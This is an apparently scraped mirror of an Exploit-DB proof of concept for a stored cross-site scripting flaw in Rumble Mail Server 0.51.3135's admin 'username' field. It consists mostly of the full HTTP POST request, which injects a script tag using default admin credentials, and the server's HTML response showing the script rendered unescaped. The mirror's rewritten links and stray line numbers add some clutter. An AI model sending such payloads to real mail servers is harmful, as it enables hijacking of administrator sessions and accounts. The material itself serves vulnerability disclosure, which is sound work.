Rumble Mail Server 0.51.3135 – ‘username’ Stored XSS

Exploit Database
138 阅读

作者： Mohammed Alshehri

日期： 2020-12-14
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/49255/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

# Exploit Title: Rumble Mail Server 0.51.3135 - 'username' Stored XSS

# Date: 2020-9-3

# Exploit Author: Mohammed Alshehri

# Vendor Homepage: http://rumble.sf.net/

# Software Link:https://sourceforge.net/projects/rumble/files/Windows%20binaries/rumble_0.51.3135-setup.exe

# Version: Version 0.51.3135

# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763

# Exploit:

POST /users HTTP/1.1

Host: 127.0.0.1:2580

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 96

Origin: http://127.0.0.1:2580

Authorization: Basic YWRtaW46YWRtaW4=

Connection: keep-alive

Referer: http://127.0.0.1:2580/users

Upgrade-Insecure-Requests: 1

username=%3Cscript%3Ealert%28%22M507%22%29%3C%2Fscript%3E&password=admin&rights=*&submit=Submit

HTTP/1.1 200 OK

Connection: close

Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title>RumbleLua</title>

</head>

<body>

RumbleLua on a.com<br />

<span class="fineprint">Rumble Mail Server v/0.51.3135 <br />

</span>

<a href="https://www.exploit-db.com/"><img src="https://www.exploit-db.com/icons/computer.png" align="absmiddle" /> Server status</a>

<a href="https://www.exploit-db.com/domains"><img src="https://www.exploit-db.com/icons/house.png" align="absmiddle" /> Domains & accounts</a>

<a href="https://www.exploit-db.com/users"><img src="https://www.exploit-db.com/icons/group.png" align="absmiddle" /> RumbleLua users</a>

<a href="https://www.exploit-db.com/settings"><img src="https://www.exploit-db.com/icons/report_edit.png" align="absmiddle" /> Server settings</a>

<a href="https://www.exploit-db.com/modules"><img src="https://www.exploit-db.com/icons/plugin_edit.png" align="absmiddle" /> Set up modules</a>

<a href="https://www.exploit-db.com/systeminfo"><img src="https://www.exploit-db.com/icons/page_white_find.png" align="absmiddle" /> System logs</a>

<a href="https://www.exploit-db.com/queue"><img src="https://www.exploit-db.com/icons/clock.png" align="absmiddle" /> Mail queue</a>

</div>

<h1>RumbleLua users </h1>

<p>This page allows you to create, modify or delete accounts on the RumbleLua system.<br />

Users with <img src="https://www.exploit-db.com/exploits/icons/action_lock.png" alt="lock" width="24" height="24" align="absmiddle" /><span style="color:#C33; font-weight:bold;"> Full control</span> can add, edit and delete domains as well as change server settings, <br />

while regular users can only

see and edit the domains they have access to.

</p>

<tr>

<th>Create a new user:</th>

</tr>

<tr>

<td>

<label for="username"><strong>Username:</strong></label>

<br>

<label for="password"><strong>Password:</strong></label>

<br />

<label for="password"><strong>Access rights:</strong></label>

<option value="*" style="color:#C33; font-weight:bold;">Full control</option>

</optgroup>

</select>

</div>

<br />

</p>

</form>

</td>

</tr>

</table>

<tr>

<th>Username</th>

<th>Rights</th>

<th>Actions</th>

</tr>

<tr>

<td><img src="https://www.exploit-db.com/icons/action_lock.png" align="absmiddle"/> <strong><font color='#006600'><script>alert("M507")</script></font></strong></td>

<td>Full control</td>

<td>

<a href="https://www.exploit-db.com/users?user=<script>alert("M507")</script>&edit=true"><img src="https://www.exploit-db.com/icons/action_edit.png" title="Edit" align="absmiddle"/></a> 

<a href="https://www.exploit-db.com/users?user=<script>alert("M507")</script>&delete=true"><img src="https://www.exploit-db.com/icons/action_delete.png" title="Delete" align="absmiddle"/></a>

</td>

</tr>

<tr>

<td><img src="https://www.exploit-db.com/icons/action_lock.png" align="absmiddle"/> <strong><font color='#006600'>admin</font></strong></td>

<td>Full control</td>

<td>

</td>

</tr>

<tr>

<td><img src="https://www.exploit-db.com/icons/action_lock.png" align="absmiddle"/> <strong><font color='#006600'><script>alert("M5072")</script></font></strong></td>

<td>Full control</td>

<td>

<a href="https://www.exploit-db.com/users?user=<script>alert("XSS")</script>&edit=true"><img src="https://www.exploit-db.com/icons/action_edit.png" title="Edit" align="absmiddle"/></a> 

<a href="https://www.exploit-db.com/users?user=<script>alert("XSS")</script>&delete=true"><img src="https://www.exploit-db.com/icons/action_delete.png" title="Delete" align="absmiddle"/></a>

</td>

</tr>

</table>

</div>

<br />

Powered by Rumble Mail Server - [<a href="https://sourceforge.net/p/rumble/wiki/Home/">wiki</a>] [<a href="https://sourceforge.net/projects/rumble/">project home</a>]

</p>

</body>

</html>